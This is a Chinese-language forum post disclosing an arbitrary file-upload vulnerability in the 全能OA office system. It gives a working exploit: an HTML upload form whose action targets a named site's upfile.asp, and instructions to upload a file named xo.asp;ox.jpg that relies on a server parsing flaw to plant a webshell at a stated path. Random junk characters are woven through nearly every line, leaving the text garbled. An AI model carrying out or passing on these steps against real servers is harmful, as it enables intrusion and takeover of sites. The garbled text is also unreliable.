全能OA办公系统 上传漏洞
/ C) Y% l$ u' u9 P
1 ^$ q" K' [" K, \. r系统介绍:# K# x: l7 t: H2 F- ?
/ G* q$ h5 A( G. z- H5 i全能OA办公系统2012是功能非常强大的OA系统,目前功能已完全能满足日常办公需要。0 u$ v/ a, k, I4 }( V8 S) b
7 j9 N" Z. P. O3 `6 f9 ?
主要功能:
8 ]2 j s) z+ ]* Q公司通告 7 P9 ?# b3 D: ]2 Q' i1 E3 a& ^
工作计划 8 F( y. x7 p- P, W
通讯助理 % o p, q2 P o+ k5 D( U2 |4 h2 C
客户资源 " }1 U, p& Q- E3 F
我的公文 & |; ~* h5 { `4 l
公文传阅 3 z4 l; q5 _4 t& a9 \& y
公共资源
$ g: I4 j% I ~, c5 s+ p7 v资源预约 - J4 v) P5 n; X% i) M7 E% t
今日考勤 0 q. @ J, Y1 ~4 ?, D
个人计划 ( \; H4 f7 V4 a/ A
个人通讯录 9 v0 w, z2 W: M& J/ K( Q
个人基本档案
; K9 |$ m/ u0 h7 A未读邮件 ; Q7 Q2 a' y; Q' u7 z$ ^
发邮件 $ @7 m, z+ \7 r; t/ P
收件夹
" I1 \; Y6 I9 a- W o9 ?" B寄件夹 & g2 I4 k+ T% B% E
网络硬盘 / D+ X7 Y% |! z! \0 T j
网络会议
, _' k3 `, T& P+ ?( S. B& e- l网络调查 0 u0 a- d# h3 u' R9 E
交流论坛
: t4 d/ P Q5 [. y; z/ c
0 O( Z& e: ?1 j有兴趣测试的朋友可以下源码看看
6 J8 c! F* C4 S8 U5 q- m: Q4 l/ f, w" A& O2 N8 |$ V
源码下载:
; v$ I7 ]4 C* q6 P% U9 N( g9 D# i( E& ]7 t: G
http://www.mycodes.net/30/4750.htm
! s; \* V( p- p4 m2 o' W$ a
+ v$ Y- h* q! @. q+ L: O) u% [漏洞介绍:
l% x6 f2 i' x& E" s4 C
6 v# D% r( e' H3 K由upfile.asp上传文件漏洞引起( o9 \* s+ q( Z X* ?8 a, R
% x% A( A8 ]" i5 ~+ _ r测试方法:; a# J: ~( ]" Q( r. k: o' p3 h
8 ?( C$ M3 \: l( L1 A& m% ~使用名小子上传http://www.itlynn.com/upfile.asp即可
0 Y, x' W. o' O& m$ g6 @4 j: g' o8 j( Q; f, I/ _8 O
如果upfile.asp文件被删除不存在。 B) {# g; }! L- n: g: b. m7 o" m* ]" J
$ z. s* o2 u2 H ?6 v- G* D 那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
9 o! ]( h0 l+ W! ?' D1 W5 p
& K0 X, W$ @: F$ K: @如果存在那么将如下代码保存为upfile.html。& P/ J6 y3 G2 M% W t
" n9 _- u6 j. l) V- j3 F: T& T
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。& {/ Y1 M& I( b: Z
* v- t: B4 w' x- `
6 o0 t$ o, ~2 J0 [8 _3 d, a2 y
' w: p: d% R) w) d$ X) ]. x( u01 <table border='0' align="center" cellpadding="5">
5 T4 D3 ?7 g$ c$ l0 c# G0 X
$ b' y" S& A6 ~3 ~- t02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
) t) I# H. C5 b2 G+ c+ b' @& \
' V; G3 j$ j ^& ^. Z/ m- k5 R s. x03 <tr> ' n% z& r% z5 p( C6 J3 r, a2 R
5 n% h; P. ~9 e, i
04 <td>报错:</td>
; {$ s- X8 i; _/ }9 | ^3 ^! G" p k8 }# F
05 <td><input type='radio' name='errnumber' value='0'> 6 l( m9 ?; t, d, ?, E
9 W0 A% o b) @& @( `06 自动更名
5 g% t* i9 v) J) n. p, z" P
; q' v/ m. u( {+ Y$ x6 [5 Y! H0 ]07 <input type='radio' name='errnumber' value='1' checked> + }. @1 ^' X8 }0 v$ u' `
2 M9 c3 T* m0 n- N! A+ H
08 报错方式 - ^, m' {( g. O9 X6 U3 v
4 J- G! u; v! q/ ^( J. a% Z9 I! l* V- j2 E
09 <input type='radio' name='errnumber' value='2'> 0 `& M+ b0 `- L& M: u" p4 [
% d+ l: g/ L% J1 f$ ~10 直接覆盖</td>
$ X( D& @2 ~2 s) { F" k4 s) ]8 d- R# {7 j: ?# s
11 </tr> 2 S# g6 A7 r+ k0 M' R% e
, w& O% k+ t# l* r1 k; }/ H12 <tr>
; Q/ s& u' g5 O8 v5 p1 O1 o( u
13 <td>主题:</td>
9 R8 q( _% x, P" f1 T' |! V" y `! F8 j- n9 o6 n# K, n- V
14 <td><input type='text' name='filename' size='30'></td> 2 u- B) [ u7 H2 n
3 t4 \, P9 b' T6 ^ E1 N3 d
15 </tr>
I6 Y( Q0 b$ t- f8 t e
8 o |# r5 T) b1 T: u16 <tr>
* J( |$ B! u+ ~- s* [. R( o
, D. o6 F! l1 v* g' ]) _! }# e17 <td>文件:</td> 3 S8 Q9 [3 `2 |$ P) s8 B( |+ P
) ?: Y6 ^' j' l, m: T" Z
18 <td><input type="file"name="fruit"size="30"></td>
" A+ ?8 |7 J2 ]
$ j j6 s+ i! G; |) [- D, ] Q19 </tr>
( B4 K% |% l8 A( V! G3 |" x
9 ^& z! x; ^( b20 <tr> 0 }# p: g4 {4 x
3 ?7 C; C8 G; a% c% Q
21 <td valign='top'>简介:</td>
% V+ X$ D9 l! R- ~4 [$ M' i9 M( H: n) ?8 ~# ]% F" [# o$ \4 ]( D
22 <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
/ I$ K: i& x& a/ [8 d n/ V1 ^* P' I1 ^
23 </tr> / k/ z9 |0 q# b' R }: @
3 O6 h' e( R* I# |8 N1 u24
0 g! J: h. s& J- R! m3 H
0 i& a( r# u! k! e25 <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td> $ `- G/ O! u1 z! X& f
+ @! H4 a% `( \5 }
26 </tr> " c8 a# ?1 I2 _0 v; r. A' S3 w
+ g6 W. L4 ]# y& k7 X. N
27 </form>
. g* C* P8 N! I8 ^6 a( g: {) e `; H* u6 }+ F3 u
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
, T+ E4 @0 a; c8 R P
8 T, C" {! b+ `: V8 L, z
# G; |3 P! U) N$ L! e
" w% h: s& p6 ?2 d4 F% Q# U上传成功后,马的路径是:http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
% G9 j- i* j& Z+ Q" l7 m1 \+ V% G, Q2 J( B1 k+ o$ L! R' h
此漏洞需要配合解析漏洞利用。: K, U0 p$ g1 t; o" `% x2 b& ~
+ R! W7 I' c7 Z) E
|